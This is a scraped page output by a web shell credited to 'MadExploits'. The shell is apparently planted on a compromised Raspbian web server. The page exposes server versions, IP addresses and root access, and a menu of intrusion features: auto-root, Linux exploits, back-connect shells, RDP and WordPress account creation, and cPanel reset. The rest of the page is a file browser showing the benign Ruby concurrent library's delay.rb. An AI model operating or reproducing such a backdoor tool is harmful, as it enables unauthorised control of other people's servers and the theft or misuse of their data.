Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
concurrent /
[ HOME SHELL ]
Name
Size
Permission
Action
actor
[ DIR ]
drwxr-xr-x
atomic
[ DIR ]
drwxr-xr-x
atomic_reference
[ DIR ]
drwxr-xr-x
channel
[ DIR ]
drwxr-xr-x
collection
[ DIR ]
drwxr-xr-x
concern
[ DIR ]
drwxr-xr-x
edge
[ DIR ]
drwxr-xr-x
executor
[ DIR ]
drwxr-xr-x
synchronization
[ DIR ]
drwxr-xr-x
thread_safe
[ DIR ]
drwxr-xr-x
utility
[ DIR ]
drwxr-xr-x
actor.rb
3.53
KB
-rw-r--r--
agent.rb
21.58
KB
-rw-r--r--
array.rb
1.05
KB
-rw-r--r--
async.rb
17.7
KB
-rw-r--r--
atom.rb
8.85
KB
-rw-r--r--
atomics.rb
1.94
KB
-rw-r--r--
channel.rb
6.49
KB
-rw-r--r--
configuration.rb
6.57
KB
-rw-r--r--
constants.rb
204
B
-rw-r--r--
dataflow.rb
2.15
KB
-rw-r--r--
delay.rb
6.73
KB
-rw-r--r--
edge.rb
1.26
KB
-rw-r--r--
errors.rb
2.16
KB
-rw-r--r--
exchanger.rb
12.81
KB
-rw-r--r--
executors.rb
1.02
KB
-rw-r--r--
future.rb
4.12
KB
-rw-r--r--
hash.rb
999
B
-rw-r--r--
immutable_struct.rb
2.05
KB
-rw-r--r--
ivar.rb
7.24
KB
-rw-r--r--
lazy_register.rb
2.28
KB
-rw-r--r--
map.rb
7.72
KB
-rw-r--r--
maybe.rb
8.01
KB
-rw-r--r--
mutable_struct.rb
8.43
KB
-rw-r--r--
mvar.rb
7.19
KB
-rw-r--r--
options.rb
1.25
KB
-rw-r--r--
promise.rb
18.53
KB
-rw-r--r--
scheduled_task.rb
10.73
KB
-rw-r--r--
settable_struct.rb
3.67
KB
-rw-r--r--
synchronization.rb
1.05
KB
-rw-r--r--
timer_task.rb
11.74
KB
-rw-r--r--
tuple.rb
2.98
KB
-rw-r--r--
tvar.rb
5.91
KB
-rw-r--r--
version.rb
72
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : delay.rb
require 'thread' require 'concurrent/concern/obligation' require 'concurrent/executor/immediate_executor' require 'concurrent/synchronization' module Concurrent # This file has circular require issues. It must be autoloaded here. autoload :Options, 'concurrent/options' # Lazy evaluation of a block yielding an immutable result. Useful for # expensive operations that may never be needed. It may be non-blocking, # supports the `Concern::Obligation` interface, and accepts the injection of # custom executor upon which to execute the block. Processing of # block will be deferred until the first time `#value` is called. # At that time the caller can choose to return immediately and let # the block execute asynchronously, block indefinitely, or block # with a timeout. # # When a `Delay` is created its state is set to `pending`. The value and # reason are both `nil`. The first time the `#value` method is called the # enclosed opration will be run and the calling thread will block. Other # threads attempting to call `#value` will block as well. Once the operation # is complete the *value* will be set to the result of the operation or the # *reason* will be set to the raised exception, as appropriate. All threads # blocked on `#value` will return. Subsequent calls to `#value` will immediately # return the cached value. The operation will only be run once. This means that # any side effects created by the operation will only happen once as well. # # `Delay` includes the `Concurrent::Concern::Dereferenceable` mixin to support thread # safety of the reference returned by `#value`. # # @!macro copy_options # # @!macro [attach] delay_note_regarding_blocking # @note The default behavior of `Delay` is to block indefinitely when # calling either `value` or `wait`, executing the delayed operation on # the current thread. This makes the `timeout` value completely # irrelevant. To enable non-blocking behavior, use the `executor` # constructor option. This will cause the delayed operation to be # execute on the given executor, allowing the call to timeout. # # @see Concurrent::Concern::Dereferenceable class Delay < Synchronization::LockableObject include Concern::Obligation # NOTE: Because the global thread pools are lazy-loaded with these objects # there is a performance hit every time we post a new task to one of these # thread pools. Subsequently it is critical that `Delay` perform as fast # as possible post-completion. This class has been highly optimized using # the benchmark script `examples/lazy_and_delay.rb`. Do NOT attempt to # DRY-up this class or perform other refactoring with running the # benchmarks and ensuring that performance is not negatively impacted. # Create a new `Delay` in the `:pending` state. # # @!macro executor_and_deref_options # # @yield the delayed operation to perform # # @raise [ArgumentError] if no block is given def initialize(opts = {}, &block) raise ArgumentError.new('no block given') unless block_given? super(&nil) synchronize { ns_initialize(opts, &block) } end # Return the value this object represents after applying the options # specified by the `#set_deref_options` method. If the delayed operation # raised an exception this method will return nil. The execption object # can be accessed via the `#reason` method. # # @param [Numeric] timeout the maximum number of seconds to wait # @return [Object] the current value of the object # # @!macro delay_note_regarding_blocking def value(timeout = nil) if @executor # TODO (pitr 12-Sep-2015): broken unsafe read? super else # this function has been optimized for performance and # should not be modified without running new benchmarks synchronize do execute = @computing = true unless @computing if execute begin set_state(true, @task.call, nil) rescue => ex set_state(false, nil, ex) end end end if @do_nothing_on_deref @value else apply_deref_options(@value) end end end # Return the value this object represents after applying the options # specified by the `#set_deref_options` method. If the delayed operation # raised an exception, this method will raise that exception (even when) # the operation has already been executed). # # @param [Numeric] timeout the maximum number of seconds to wait # @return [Object] the current value of the object # @raise [Exception] when `#rejected?` raises `#reason` # # @!macro delay_note_regarding_blocking def value!(timeout = nil) if @executor super else result = value raise @reason if @reason result end end # Return the value this object represents after applying the options # specified by the `#set_deref_options` method. # # @param [Integer] timeout (nil) the maximum number of seconds to wait for # the value to be computed. When `nil` the caller will block indefinitely. # # @return [Object] self # # @!macro delay_note_regarding_blocking def wait(timeout = nil) if @executor execute_task_once super(timeout) else value end self end # Reconfigures the block returning the value if still `#incomplete?` # # @yield the delayed operation to perform # @return [true, false] if success def reconfigure(&block) synchronize do raise ArgumentError.new('no block given') unless block_given? unless @computing @task = block true else false end end end protected def ns_initialize(opts, &block) init_obligation set_deref_options(opts) @executor = opts[:executor] @task = block @state = :pending @computing = false end private # @!visibility private def execute_task_once # :nodoc: # this function has been optimized for performance and # should not be modified without running new benchmarks execute = task = nil synchronize do execute = @computing = true unless @computing task = @task end if execute executor = Options.executor_from_options(executor: @executor) executor.post do begin result = task.call success = true rescue => ex reason = ex end synchronize do set_state(success, result, reason) event.set end end end end end end
Close